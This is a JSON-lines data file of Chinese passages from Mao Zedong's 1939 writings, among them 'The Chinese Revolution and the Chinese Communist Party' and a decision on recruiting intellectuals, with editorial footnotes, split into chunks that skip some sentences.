    {"text": "统一战线虽然建立了并坚持了三年之久，可是资产阶级特别是大资产阶级却时时刻刻在企图破坏我们的党，大资产阶级投降派和顽固派所指挥的严重的磨擦斗争在全国进行着，反共之声喧嚣不已。"},
    {"text": "在这种情况之下，我们的任务，无疑是克服这种投降、分裂和倒退的危险，尽可能地保持民族统一战线，保持国共合作，而争取继续抗日、继续团结和继续进步；"},
    {"text": "为达此目的，就要巩固党的组织，巩固党的武装力量，并动员全国人民，进行反投降、反分裂、反倒退的坚决的斗争。 这种任务的完成，依靠全党的努力，依靠全体党员、党的干部、党的各地各级组织实行不屈不挠再接再厉的斗争。"},
    {"text": "我们相信，有了十八年经验的中国共产党，在它的有经验的老党员、老干部和带着新鲜血液富有朝气的新党员、新干部相互协力的情况下，在它的经历过风浪的布尔什维克化的中央和地方组织相互协力的情况下，在它的坚强的武装力量和进步的人民群众相互协力的情况下，是可能达到这些目的的。"},
    {"text": "十八年的经验告诉我们，统一战线和武装斗争，是战胜敌人的两个基本武器。 统一战线，是实行武装斗争的统一战线。 而党的组织，则是掌握统一战线和武装斗争这两个武器以实行对敌冲锋陷阵的英勇战士。"},
    {"text": "把党的建设问题同统一战线问题、同武装斗争问题联系起来看一下，把党的建设问题同联合资产阶级又同它作斗争的问题、同八路军新四军坚持抗日游击战争和建立抗日根据地的问题联系起来看一下，就会懂得。"},
    {"text": "根据马克思列宁主义的理论和中国革命的实践之统一的理解，集中十八年的经验和当前的新鲜经验传达到全党，使党铁一样地巩固起来，而避免历史上曾经犯过的错误——这就是我们的任务。"},
    {"text": "注 释 〔1〕 见斯大林《论中国革命的前途》（《斯大林选集》上卷，人民出版社1979年版，第487页）。 〔2〕 见本书第一卷《中国革命战争的战略问题》注〔4〕。"},
    {"text": "〔3〕 毛泽东在这里说中国革命的武装斗争的总概念在目前就是游击战争，是总结了第二次国内革命战争和抗日战争初期的中国革命战争的经验。 在第二次国内革命战争时期的长时间内，中国共产党所领导的武装斗争都是游击战争。 这个时期的后一阶段，随着红军力量的成长，游击战曾经转变为带游击性的运动战（这种运动战，按照毛泽东的说法，是提高了的游击战争）。 但在抗日战争期间，根据敌情的变化，这种带游击性的运动战又基本上转变为游击战争。"},
    {"text": "毛泽东曾在《抗日游击战争的战略问题》、《论持久战》和《战争和战略问题》等著作中，驳斥了这种观点，并在本文中把长时期内中国革命的武装斗争采取游击战争形式的经验，作了理论上的总结。 中国共产党所领导的武装斗争，到了抗日战争的后期，特别是第三次国内革命战争时期，由于革命力量的新成长和敌情的新变化，战争的主要形式就由游击战争转变为正规战争；"},
    {"text": "〔4〕 见本书第一卷《中国革命战争的战略问题》注〔5〕。 〔5〕 见本书第一卷《中国革命战争的战略问题》注〔7〕。 〔6〕 参见本书第一卷《论反对日本帝国主义的策略》注〔23〕和注〔24〕"},
    {"text": "目前形势和党的任务 目前形势和党的任务 * （一九三九年十月十日） （一）帝国主义世界大战的爆发，是由于各帝国主义国家企图解脱新的经济危机和政治危机。战争的性质，无论在德国或英法方面，都是非正义的掠夺的帝国主义战争。全世界共产党都应该坚决反对这种战争，反对社会民主党拥护这种战争叛卖无产阶级的罪恶行为。社会主义的苏联依然坚持其和平政策，对战争的双方严守中立，用出兵波兰的行动制止德国侵略势力向东扩展，巩固东欧和平，解放被波兰统治者所压迫的西部乌克兰和白俄罗斯的兄弟民族。苏联和其周围各国订立了各种条约，以预防国际反动势力的可能的袭击，并为世界和平的恢复而奋斗。 （二）日本帝国主义在国际新形势下的政策是专力进攻中国，企图解决中国问题，以准备将来扩大其对国际的冒险行动。其企图用以解决中国问题的方针是： 一、对于占领区域，是加以确保，作为灭亡全中国的准备。为达此目的，它需要“扫荡”抗日游击根据地，需要进行经济开发和建立伪政权，需要消灭中国人的民族精神。 二、对于我后方，是以政治进攻为主，而以军事进攻为辅。所谓政治进攻，就是着重于分化抗日统一战线，分裂国共合作，引诱国民党政府投降，而不是着重于大规模的军事进攻。 在现在时期，敌人如同过去进攻武汉那样的大规模战略进攻行动，由于他所受中国过去二年余的英勇抗战的打击，由于他的兵力不足和财力不足，其可能性已经不大了。在这种意义上，抗战的战略相持阶段基本上已经到来。这种战略相持阶段，即是准备反攻阶段。但是第一，我们说相持局面基本上已经到来，并不否认敌人还有某些战役进攻的可能；敌人现在正在进攻长沙，将来还可能进攻其他若干地区。第二，随着正面相持的可能之增多，敌人将加重其对于我游击根据地的“扫荡”战争。第三，如果中国不能破坏敌人占领地，让其达到确保占领地、经营占领地的目的；又如果中国不能打退敌人的政治进攻，不能坚持抗战，坚持团结，坚持进步，以准备反攻力量，或者国民党政府竟自动投降；那末，在将来，敌人就仍有大举进攻的可能。就是说，已经到来的相持局面仍有被敌人和投降派破坏的可能。 （三）抗日统一战线中的投降危险、分裂危险和倒退危险仍然是当前时局中的最大危险，目前的反共现象和倒退现象仍然是大地主大资产阶级准备投降的步骤。我们的任务，仍然是协同全国一切爱国分子，动员群众，切实执行我党《七七宣言》中“坚持抗战、反对投降”，“坚持团结、反对分裂”，“坚持进步、反对倒退”三大政治口号，以准备反攻力量。为达此目的，在敌后方，必须坚持游击战争，战胜敌人的“扫荡”，破坏敌人的占领地，实行激进的有利于广大抗日民众的政治改革和经济改革。在正面，必须支持军事防御，打退敌人可能的任何战役进攻。在我后方，必须迅速地认真地实行政治改革，结束国民党一党专政，召集真正代表民意的有权力的国民大会，制定宪法，实行宪政。任何的动摇和懈怠，任何与此相反的方针，都是绝对错误的。同时，我党各级领导机关和全体同志，应该提高对当前时局的警觉性，用全力从思想上、政治上、组织上巩固我们的党，巩固党所领导的军队和政权，以准备对付可能的危害中国革命的突然事变，使党和革命在可能的突然事变中不致遭受意外的损失。 注 释 * 这是毛泽东为中共中央起草的决定。"},
    {"text": "大量吸收知识分子 大量吸收知识分子 * （一九三九年十二月一日） 一、在长期的和残酷的民族解放战争中，在建立新中国的伟大斗争中，共产党必须善于吸收知识分子，才能组织伟大的抗战力量，组织千百万农民群众，发展革命的文化运动和发展革命的统一战线。没有知识分子的参加，革命的胜利是不可能的。 二、三年以来，我党我军在吸收知识分子方面，已经尽了相当的努力，吸收了大批革命知识分子参加党，参加军队，参加政府工作，进行文化运动和民众运动，发展了统一战线，这是一个大的成绩。但许多军队中的干部，还没有注意到知识分子的重要性，还存着恐惧知识分子甚至排斥知识分子的心理。许多我们办的学校，还不敢放手地大量地招收青年学生。许多地方党部，还不愿意吸收知识分子入党。这种现象的发生，是由于不懂得知识分子对于革命事业的重要性，不懂得殖民地半殖民地国家的知识分子和资本主义国家的知识分子的区别，不懂得为地主资产阶级服务的知识分子和为工农阶级服务的知识分子的区别，不懂得资产阶级政党正在拚命地同我们争夺知识分子，日本帝国主义也在利用各种方法收买和麻醉中国知识分子的严重性，尤其不懂得我们的党和军队已经造成了中坚骨干，有了掌握知识分子的能力这种有利的条件。 三、因此，今后应该注意：（1）一切战区的党和一切党的军队，应该大量吸收知识分子加入我们的军队，加入我们的学校，加入政府工作。只要是愿意抗日的比较忠实的比较能吃苦耐劳的知识分子，都应该多方吸收，加以教育，使他们在战争中在工作中去磨练，使他们为军队、为政府、为群众服务，并按照具体情况将具备了入党条件的一部分知识分子吸收入党。对于不能入党或不愿入党的一部分知识分子，也应该同他们建立良好的共同工作关系，带领他们一道工作。（2）在这种大量吸收政策之下，毫无疑义应该充分注意拒绝敌人和资产阶级政党派遣进来的分子，拒绝不忠实的分子。对于这类分子的拒绝，应取严肃的态度。这类分子已经混进我们的党、我们的军队和政府者，则应依靠真凭实据，坚决地有分别地洗刷出去。但不要因此而怀疑那些比较忠实的知识分子；要严防反革命分子陷害好人。（3）对于一切多少有用的比较忠实的知识分子，应该分配适当的工作，应该好好地教育他们，带领他们，在长期斗争中逐渐克服他们的弱点，使他们革命化和群众化，使他们同老党员老干部融洽起来，使他们同工农党员融洽起来。（4）对于一部分反对知识分子参加工作的干部，尤其是主力部队中的某些干部，则应该切实地说服他们，使他们懂得吸收知识分子参加工作的必要。同时切实地鼓励工农干部加紧学习，提高他们的文化水平，使工农干部的知识分子化和知识分子的工农群众化，同时实现起来。（5）在国民党统治区和日寇占领区，基本上适用上述原则，但吸收知识分子入党时，应更多注意其忠实的程度，以保证党的组织更加严密。对于广大的同情我们的党外知识分子，则应该同他们建立适当的联系，把他们组织到抗日和民主的伟大斗争中去，组织到文化运动中去，组织到统一战线的工作中去。 四、全党同志必须认识，对于知识分子的正确的政策，是革命胜利的重要条件之一。我们党在土地革命时期，许多地方许多军队对于知识分子的不正确态度，今后决不应重复；而无产阶级自己的知识分子的造成，也决不能离开利用社会原有知识分子的帮助。中央盼望各级党委和全党同志，严重地注意这个问题。 注 释 * 这是毛泽东为中共中央起草的决定。"},
    {"text": "中国革命和中国共产党 中国革命和中国共产党 * （一九三九年十二月） 第一章 中国社会 第一节 中华民族 我们中国是世界上最大国家之一，它的领土和整个欧洲的面积差不多相等。"},
    {"text": "这个地理上的国际环境，给予中国人民革命造成了外部的有利条件和困难条件。 有利的是：和苏联接壤，和欧美各主要帝国主义国家隔离较远，在其周围的国家中有许多是殖民地半殖民地国家。"},
    {"text": "此外，还有蒙人、回人、藏人、维吾尔人、苗人、彝人、壮人、仲家 〔1〕 人、朝鲜人等，共有数十种少数民族，虽然文化发展的程度不同，但是都已有长久的历史。 中国是一个由多数民族结合而成的拥有广大人口的国家。 中华民族的发展（这里说的主要地是汉族的发展），和世界上别的许多民族同样，曾经经过了若干万年的无阶级的原始公社的生活。"},
    {"text": "在中华民族的开化史上，有素称发达的农业和手工业，有许多伟大的思想家、科学家、发明家、政治家、军事家、文学家和艺术家，有丰富的文化典籍。"},
    {"text": "以汉族的历史为例，可以证明中国人民是不能忍受黑暗势力的统治的，他们每次都用革命的手段达到推翻和改造这种统治的目的。 在汉族的数千年的历史上，有过大小几百次的农民起义，反抗地主和贵族的黑暗统治。"},
    {"text": "二、封建的统治阶级——地主、贵族和皇帝，拥有最大部分的土地，而农民则很少土地，或者完全没有土地。 农民用自己的工具去耕种地主、贵族和皇室的土地，并将收获的四成、五成、六成、七成甚至八成以上，奉献给地主、贵族和皇室享用。"},
    {"text": "三、不但地主、贵族和皇室依靠剥削农民的地租过活，而且地主阶级的国家又强迫农民缴纳贡税，并强迫农民从事无偿的劳役，去养活一大群的国家官吏和主要地是为了镇压农民之用的军队。"},
    {"text": "中国历代的农民，就在这种封建的经济剥削和封建的政治压迫之下，过着贫穷困苦的奴隶式的生活。 农民被束缚于封建制度之下，没有人身的自由。"},
    {"text": "从秦朝的陈胜、吴广、项羽、刘邦 〔7〕 起，中经汉朝的新市、平林、赤眉、铜马 〔8〕 和黄巾 〔9〕 ，隋朝的李密、窦建德 〔10〕 ，唐朝的王仙芝、黄巢 〔11〕 ，宋朝的宋江、方腊 〔12〕 ，元朝的朱元璋 〔13〕 ，明朝的李自成 〔14〕 ，直至清朝的太平天国 〔15〕 ，总计大小数百次的起义，都是农民的反抗运动，都是农民的革命战争。"},
    {"text": "因为每一次较大的农民起义和农民战争的结果，都打击了当时的封建统治，因而也就多少推动了社会生产力的发展。 只是由于当时还没有新的生产力和新的生产关系，没有新的阶级力量，没有先进的政党，因而这种农民起义和农民战争得不到如同现在所有的无产阶级和共产党的正确领导，这样，就使当时的农民革命总是陷于失败，总是在革命中和革命后被地主和贵族利用了去，当作他们改朝换代的工具。 这样，就在每一次大规模的农民革命斗争停息以后，虽然社会多少有些进步，但是封建的经济关系和封建的政治制度，基本上依然继续下来。"},
    {"text": "自从一八四○年的鸦片战争 〔16〕 以后，中国一步一步地变成了一个半殖民地半封建的社会。 自从一九三一年九一八事变 〔17〕 日本帝国主义武装侵略中国以后，中国又变成了一个殖民地、半殖民地和半封建的社会。"},
    {"text": "外国资本主义对于中国的社会经济起了很大的分解作用，一方面，破坏了中国自给自足的自然经济的基础，破坏了城市的手工业和农民的家庭手工业；"},
    {"text": "事实上，由于外国资本主义的刺激和封建经济结构的某些破坏，还在十九世纪的下半期，还在六十年前，就开始有一部分商人、地主和官僚投资于新式工业。"},
    {"text": "到了二十年前，即第一次帝国主义世界大战的时期，由于欧美帝国主义国家忙于战争，暂时放松了对于中国的压迫，中国的民族工业，主要是纺织业和面粉业，又得到了进一步的发展。"},
    {"text": "中国民族资本主义发生和发展的过程，就是中国资产阶级和无产阶级发生和发展的过程。 如果一部分的商人、地主和官僚是中国资产阶级的前身，那末，一部分的农民和手工业工人就是中国无产阶级的前身了。 中国的资产阶级和无产阶级，作为两个特殊的社会阶级来看，它们是新产生的，它们是中国历史上没有过的阶级。"},
    {"text": "可是，上面所述的这一资本主义的发生和发展的新变化，只是帝国主义侵入中国以来所发生的变化的一个方面。 还有和这个变化同时存在而阻碍这个变化的另一个方面，这就是帝国主义勾结中国封建势力压迫中国资本主义的发展。"},
    {"text": "帝国主义列强侵入中国的目的，决不是要把封建的中国变成资本主义的中国。 帝国主义列强的目的和这相反，它们是要把中国变成它们的半殖民地和殖民地。"},
    {"text": "帝国主义列强为了这个目的，曾经对中国采用了并且还正在继续地采用着如同下面所说的一切军事的、政治的、经济的和文化的压迫手段，使中国一步一步地变成了半殖民地和殖民地： 一、向中国举行多次的侵略战争，例如一八四○年的英国鸦片战争，一八五七年的英法联军战争 〔18〕 ，一八八四年的中法战争 〔19〕 ，一八九四年的中日战争 〔20〕 ，一九○○年的八国联军战争 〔21〕 。 用战争打败了中国之后，帝国主义列强不但占领了中国周围的许多原由中国保护的国家，而且抢去了或“租借”去了中国的一部分领土。"},
    {"text": "二、帝国主义列强强迫中国订立了许多不平等条约，根据这些不平等条约，取得了在中国驻扎海军和陆军的权利，取得了领事裁判权 〔22〕 ，并把全中国划分为几个帝国主义国家的势力范围 〔23〕 。 三、帝国主义列强根据不平等条约，控制了中国一切重要的通商口岸，并把许多通商口岸划出一部分土地作为它们直接管理的租界 〔24〕 。"},
    {"text": "四、帝国主义列强还在中国经营了许多轻工业和重工业的企业，以便直接利用中国的原料和廉价的劳动力，并以此对中国的民族工业进行直接的经济压迫，直接地阻碍中国生产力的发展。 五、帝国主义列强经过借款给中国政府，并在中国开设银行，垄断了中国的金融和财政。"},
    {"text": "六、帝国主义列强从中国的通商都市直至穷乡僻壤，造成了一个买办的和商业高利贷的剥削网，造成了为帝国主义服务的买办阶级和商业高利贷阶级，以便利其剥削广大的中国农民和其他人民大众。 七、于买办阶级之外，帝国主义列强又使中国的封建地主阶级变为它们统治中国的支柱。"},
    {"text": "帝国主义到处致力于保持资本主义前期的一切剥削形式（特别是在乡村），并使之永久化，而这些形式则是它的反动的同盟者生存的基础” 〔25〕 。"},
    {"text": "十、从一九三一年“九一八”以后，日本帝国主义的大举进攻，更使已经变成半殖民地的中国的一大块土地沦为日本的殖民地。 上述这些情形，就是帝国主义侵入中国以后的新的变化的又一个方面，就是把一个封建的中国变为一个半封建、半殖民地和殖民地的中国的血迹斑斑的图画。 由此可以明白，帝国主义列强侵略中国，在一方面促使中国封建社会解体，促使中国发生了资本主义因素，把一个封建社会变成了一个半封建的社会； 但是在另一方面，它们又残酷地统治了中国，把一个独立的中国变成了一个半殖民地和殖民地的中国。 将这两个方面的情形综合起来说，我们这个殖民地、半殖民地、半封建的社会，有如下的几个特点： 一、封建时代的自给自足的自然经济基础是被破坏了； 但是，封建剥削制度的根基——地主阶级对农民的剥削，不但依旧保持着，而且同买办资本和高利贷资本的剥削结合在一起，在中国的社会经济生活中，占着显然的优势。"},
    {"text": "五、由于中国是在许多帝国主义国家的统治或半统治之下，由于中国实际上处于长期的不统一状态，又由于中国的土地广大，中国的经济、政治和文化的发展，表现出极端的不平衡。 六、由于帝国主义和封建主义的双重压迫，特别是由于日本帝国主义的大举进攻，中国的广大人民，尤其是农民，日益贫困化以至大批地破产，他们过着饥寒交迫的和毫无政治权利的生活。"},
    {"text": "第二章 中国革命 第一节 百年来的革命运动 帝国主义和中国封建主义相结合，把中国变为半殖民地和殖民地的过程，也就是中国人民反抗帝国主义及其走狗的过程。 从鸦片战争、太平天国运动、中法战争、中日战争、戊戌变法 〔27〕 、义和团运动 〔28〕 、辛亥革命 〔29〕 、五四运动 〔30〕 、五卅运动 〔31〕 、北伐战争、土地革命战争，直至现在的抗日战争，都表现了中国人民不甘屈服于帝国主义及其走狗的顽强的反抗精神。 中国人民，百年以来，不屈不挠、再接再厉的英勇斗争，使得帝国主义至今不能灭亡中国，也永远不能灭亡中国。 现在，虽然日本帝国主义竭其全力大举进攻中国，虽然中国有许多地主和大资产阶级分子，例如公开的汪精卫和暗藏的汪精卫之流，已经投降敌人或者准备投降敌人，但是英勇的中国人民必然还要奋战下去。"},
    {"text": "中国人民的民族革命斗争，从一八四○年的鸦片战争算起，已经有了整整一百年的历史了； 从一九一一年的辛亥革命算起，也有了三十年的历史了。"},
    {"text": "那末，这个革命的对象究竟是谁？ 这个革命的任务究竟是什么呢？ 这个革命的动力是什么？ 这个革命的性质是什么？ 这个革命的前途又是什么呢？"},
    {"text": "第二节 中国革命的对象 依照第一章第三节的分析，我们已经知道中国现时的社会，是一个殖民地、半殖民地、半封建性质的社会。 只有认清中国社会的性质，才能认清中国革命的对象、中国革命的任务、中国革命的动力、中国革命的性质、中国革命的前途和转变。 所以，认清中国社会的性质，就是说，认清中国的国情，乃是认清一切革命问题的基本的根据。 中国现时社会的性质，既然是殖民地、半殖民地、半封建的性质，那末，中国现阶段革命的主要对象或主要敌人，究竟是谁呢？"},
    {"text": "二者互相勾结以压迫中国人民，而以帝国主义的民族压迫为最大的压迫，因而帝国主义是中国人民的第一个和最凶恶的敌人。 在日本武力侵入中国以后，中国革命的主要敌人是日本帝国主义和勾结日本公开投降或准备投降的一切汉奸和反动派。"},
    {"text": "但是，这个资产阶级的上层部分，即以国民党反动集团为代表的那个阶层，它曾经在一九二七年至一九三七年这一个长时期内勾结帝国主义，并和地主阶级结成反动的同盟，背叛了曾经援助过它的朋友——共产党、无产阶级、农民阶级和其他小资产阶级，背叛了中国革命，造成了革命的失败。"},
    {"text": "在抗日战争中，大地主大资产阶级的一部分，以汪精卫 〔32〕 为代表，已经叛变，已经变成汉奸。 所以，抗日的人民，也已经不得不把这些背叛民族利益的大资产阶级分子当作革命的对象之一。"},
    {"text": "由此也可以明白，中国革命的敌人是异常强大的。 中国革命的敌人不但有强大的帝国主义，而且有强大的封建势力，而且在一定时期内还有勾结帝国主义和封建势力以与人民为敌的资产阶级的反动派。 因此，那种轻视中国革命人民的敌人的力量的观点，是不正确的。 在这样的敌人面前，中国革命的长期性和残酷性就发生了。 因为我们的敌人是异常强大的，革命力量就非在长期间内不能聚积和锻炼成为一个足以最后地战胜敌人的力量。 因为敌人对于中国革命的镇压是异常残酷的，革命力量就非磨练和发挥自己的顽强性，不能坚持自己的阵地和夺取敌人的阵地。"},
    {"text": "因为强大的帝国主义及其在中国的反动同盟军，总是长期地占据着中国的中心城市，如果革命的队伍不愿意和帝国主义及其走狗妥协，而要坚持地奋斗下去，如果革命的队伍要准备积蓄和锻炼自己的力量，并避免在力量不够的时候和强大的敌人作决定胜负的战斗，那就必须把落后的农村造成先进的巩固的根据地，造成军事上、政治上、经济上、文化上的伟大的革命阵地，借以反对利用城市进攻农村区域的凶恶敌人，借以在长期战斗中逐步地争取革命的全部胜利。 在这种情形下面，由于中国经济发展的不平衡（不是统一的资本主义经济），由于中国土地的广大（革命势力有回旋的余地），由于中国的反革命营垒内部的不统一和充满着各种矛盾，由于中国革命主力军的农民的斗争是在无产阶级政党共产党的领导之下，这样，就使得在一方面，中国革命有在农村区域首先胜利的可能；"},
    {"text": "相反，没有城市工作和其他农村工作，农村根据地就处于孤立，革命就会失败。 而且革命的最后目的，是夺取作为敌人主要根据地的城市，没有充分的城市工作，就不能达此目的。 由此也就可以明白，为要使革命在农村和城市都得到胜利，不破坏敌人用以向人民作斗争的主要的工具，即敌人的军队，也是不可能的。"},
    {"text": "由此也就可以明白，在敌人长期占领的反动的黑暗的城市和反动的黑暗的农村中进行共产党的宣传工作和组织工作，不能采取急性病的冒险主义的方针，必须采取荫蔽精干、积蓄力量、以待时机的方针。"},
    {"text": "其领导人民对敌斗争的策略，必须是利用一切可以利用的公开合法的法律、命令和社会习惯所许可的范围，从有理、有利、有节的观点出发，一步一步地和稳扎稳打地去进行，决不是大唤大叫和横冲直撞的办法所能成功的。"},
    {"text": "第三节 中国革命的任务 既然现阶段上中国革命的敌人主要的是帝国主义和封建地主阶级，那末，现阶段上中国革命的任务是什么呢？ 毫无疑义，主要地就是打击这两个敌人，就是对外推翻帝国主义压迫的民族革命和对内推翻封建地主压迫的民主革命，而最主要的任务是推翻帝国主义的民族革命。"},
    {"text": "如果不推翻帝国主义的统治，就不能消灭封建地主阶级的统治，因为帝国主义是封建地主阶级的主要支持者。 反之，因为封建地主阶级是帝国主义统治中国的主要社会基础，而农民则是中国革命的主力军，如果不帮助农民推翻封建地主阶级，就不能组成中国革命的强大的队伍而推翻帝国主义的统治。"},
    {"text": "中国今天的民族革命任务，主要地是反对侵入国土的日本帝国主义，而民主革命任务，又是为了争取战争胜利所必须完成的，两个革命任务已经联系在一起了。"},
    {"text": "第四节 中国革命的动力 根据现阶段中国社会的性质、中国革命的对象、中国革命的任务的分析和规定，中国革命的动力是什么呢？ 既然中国社会是一个殖民地、半殖民地、半封建的社会，既然中国革命所反对的对象主要的是外国帝国主义在中国的统治和内部的封建主义，既然中国革命的任务是推翻这两个压迫者，那末，在中国社会的各个阶级和各个阶层中，有些什么阶级有些什么阶层可以充当反对帝国主义和封建主义的力量呢？ 这就是现阶段上中国革命的动力问题。 认清这个革命的动力问题，才能正确地解决中国革命的基本策略问题。"},
    {"text": "有地主阶级，有资产阶级； 地主阶级和资产阶级的上层部分都是中国社会的统治阶级。 又有无产阶级，有农民阶级，有农民以外的各种类型的小资产阶级；"},
    {"text": "一 地主阶级 地主阶级是帝国主义统治中国的主要的社会基础，是用封建制度剥削和压迫农民的阶级，是在政治上、经济上、文化上阻碍中国社会前进而没有丝毫进步作用的阶级。"},
    {"text": "在抗日战争中，一部分大地主跟着一部分大资产阶级（投降派）已经投降日寇，变为汉奸了； 另一部分大地主，跟着另一部分大资产阶级（顽固派），虽然还留在抗战营垒内，亦已非常动摇。"},
    {"text": "二 资产阶级 资产阶级有带买办性的大资产阶级和民族资产阶级的区别。 带买办性的大资产阶级，是直接为帝国主义国家的资本家服务并为他们所豢养的阶级，他们和农村中的封建势力有着千丝万缕的联系。"},
    {"text": "但是，因为中国带买办性的大资产阶级是分属于几个帝国主义国家的，在几个帝国主义国家间的矛盾尖锐地对立着的时候，在革命主要地是反对某一个帝国主义的时候，属于别的帝国主义系统之下的买办阶级也有可能在一定程度上和一定时间内参加当前的反帝国主义战线。"},
    {"text": "而对于大资产阶级的顽固派，则是用革命的两面政策去对待，即：一方面是联合他们，因为他们还在抗日，还应该利用他们和日本帝国主义的矛盾； 又一方面是和他们作坚决的斗争，因为他们执行着破坏抗日和团结的反共反人民的高压政策，没有斗争就会危害抗日和团结 〔34〕 。"},
    {"text": "但是又一方面，由于他们在经济上和政治上的软弱性，由于他们同帝国主义和封建主义并未完全断绝经济上的联系，所以，他们又没有彻底的反帝反封建的勇气。"},
    {"text": "民族资产阶级的这种两重性，决定了他们在一定时期中和一定程度上能够参加反帝国主义和反官僚军阀政府的革命，他们可以成为革命的一种力量。"},
    {"text": "在中国的民族资产阶级，主要的是中等资产阶级，他们虽然在一九二七年以后，一九三一年（九一八事变）以前，跟随着大地主大资产阶级反对过革命，但是他们基本上还没有掌握过政权，而受当政的大地主大资产阶级的反动政策所限制。"},
    {"text": "在这一群人中间，除去一部分接近帝国主义和大资产阶级并为其服务而反对民众的知识分子外，一般地是受帝国主义、封建主义和大资产阶级的压迫，遭受着失业和失学的威胁。"},
    {"text": "但是，知识分子在其未和群众的革命斗争打成一片，在其未下决心为群众利益服务并与群众相结合的时候，往往带有主观主义和个人主义的倾向，他们的思想往往是空虚的，他们的行动往往是动摇的。"},
    {"text": "中农一般地不剥削别人，在经济上能自给自足（但在年成丰收时能有些许盈余，有时也利用一点雇佣劳动或放一点小债），而受帝国主义、地主阶级和资产阶级的剥削。"},
    {"text": "贫农是没有土地或土地不足的广大的农民群众，是农村中的半无产阶级，是中国革命的最广大的动力，是无产阶级的天然的和最可靠的同盟者，是中国革命队伍的主力军。"},
    {"text": "贫农和中农都只有在无产阶级的领导之下，才能得到解放； 而无产阶级也只有和贫农、中农结成坚固的联盟，才能领导革命到达胜利，否则是不可能的。"},
    {"text": "五 无产阶级 中国无产阶级中，现代产业工人约有二百五十万至三百万，城市小工业和手工业的雇佣劳动者和商店店员约有一千二百万，农村的无产阶级（即雇农）及其他城乡无产者，尚有一个广大的数目。"},
    {"text": "中国无产阶级除了一般无产阶级的基本优点，即与最先进的经济形式相联系，富于组织性纪律性，没有私人占有的生产资料以外，还有它的许多特出的优点。 中国无产阶级有哪些特出的优点呢？ 第一、中国无产阶级身受三种压迫（帝国主义的压迫、资产阶级的压迫、封建势力的压迫），而这些压迫的严重性和残酷性，是世界各民族中少见的；"},
    {"text": "因此，虽然中国无产阶级有其不可避免的弱点，例如人数较少（和农民比较），年龄较轻（和资本主义国家的无产阶级比较），文化水准较低（和资产阶级比较）；"},
    {"text": "远的如辛亥革命，因为那时还没有无产阶级的自觉的参加，因为那时还没有共产党，所以流产了。 近的如一九二四年至一九二七年的革命，因为这时有了无产阶级的自觉的参加和领导，因为这时已经有了共产党，所以能在一个时期内取得了很大的胜利；"},
    {"text": "但又因为大资产阶级后来背叛了它和无产阶级的联盟，背叛了共同的革命纲领，同时也由于那时中国无产阶级及其政党还没有丰富的革命经验，结果又遭到了失败。"},
    {"text": "在中国社会的各阶级中，农民是工人阶级的坚固的同盟军，城市小资产阶级也是可靠的同盟军，民族资产阶级则是在一定时期中和一定程度上的同盟军，这是现代中国革命的历史所已经证明了的根本规律之一。"},
    {"text": "在这个人群中，有许多人被迫到没有任何谋生的正当途径，不得不找寻不正当的职业过活，这就是土匪、流氓、乞丐、娼妓和许多迷信职业家的来源。"},
    {"text": "第五节 中国革命的性质 我们已经明白了中国社会的性质，亦即中国的特殊的国情，这是解决中国一切革命问题的最基本的根据。 我们又明白了中国革命的对象、中国革命的任务、中国革命的动力，这些都是由于中国社会的特殊性质，由于中国的特殊国情而发生的关于现阶段中国革命的基本问题。 在明白了所有这些之后，那末，我们就可以明白现阶段中国革命的另一个基本问题，即中国革命的性质是什么了。 现阶段的中国革命究竟是一种什么性质的革命呢？"},
    {"text": "既然中国社会还是一个殖民地、半殖民地、半封建的社会，既然中国革命的敌人主要的还是帝国主义和封建势力，既然中国革命的任务是为了推翻这两个主要敌人的民族革命和民主革命，而推翻这两个敌人的革命，有时还有资产阶级参加，即使大资产阶级背叛革命而成了革命的敌人，革命的锋芒也不是向着一般的资本主义和资本主义的私有财产，而是向着帝国主义和封建主义，既然如此，所以，现阶段中国革命的性质，不是无产阶级社会主义的，而是资产阶级民主主义的。 但是，现时中国的资产阶级民主主义的革命，已不是旧式的一般的资产阶级民主主义的革命，这种革命已经过时了，而是新式的特殊的资产阶级民主主义的革命。"},
    {"text": "它在经济上是把帝国主义者和汉奸反动派的大资本大企业收归国家经营，把地主阶级的土地分配给农民所有，同时保存一般的私人资本主义的企业，并不废除富农经济。"},
    {"text": "这种新民主主义的革命，和历史上欧美各国的民主革命大不相同，它不造成资产阶级专政，而造成各革命阶级在无产阶级领导之下的统一战线的专政。 在抗日战争中，在中国共产党领导的各个抗日根据地内建立起来的抗日民主政权，乃是抗日民族统一战线的政权，它既不是资产阶级一个阶级的专政，也不是无产阶级一个阶级的专政，而是在无产阶级领导之下的几个革命阶级联合起来的专政。"},
    {"text": "这种新民主主义的革命也和社会主义的革命不相同，它只推翻帝国主义和汉奸反动派在中国的统治，而不破坏任何尚能参加反帝反封建的资本主义成分。"},
    {"text": "孙中山在这一年发表的《中国国民党第一次全国代表大会宣言》上说：“近世各国所谓民权制度，往往为资产阶级所专有，适成为压迫平民之工具。"},
    {"text": "”又说：“凡本国人及外国人之企业，或有独占的性质，或规模过大为私人之力所不能办者，如银行、铁道、航路之属，由国家经营管理之，使私有资本制度不能操纵国民之生计，此则节制资本之要旨也。"},
    {"text": "中国共产党在一九三七年九月二十二日发表宣言，声明“三民主义为中国今日之必需，本党愿为其彻底实现而奋斗”，就是指的这种三民主义，而不是任何别的三民主义。"},
    {"text": "） 这样，就使中国的资产阶级民主革命，无论就其斗争阵线（统一战线）来说，就其国家组成来说，均不能忽视无产阶级、农民阶级和其他小资产阶级的地位。 谁要是想撇开中国的无产阶级、农民阶级和其他小资产阶级，就一定不能解决中华民族的命运，一定不能解决中国的任何问题。 中国现阶段的革命所要造成的民主共和国，一定要是一个工人、农民和其他小资产阶级在其中占一定地位起一定作用的民主共和国。 换言之，即是一个工人、农民、城市小资产阶级和其他一切反帝反封建分子的革命联盟的民主共和国。"},
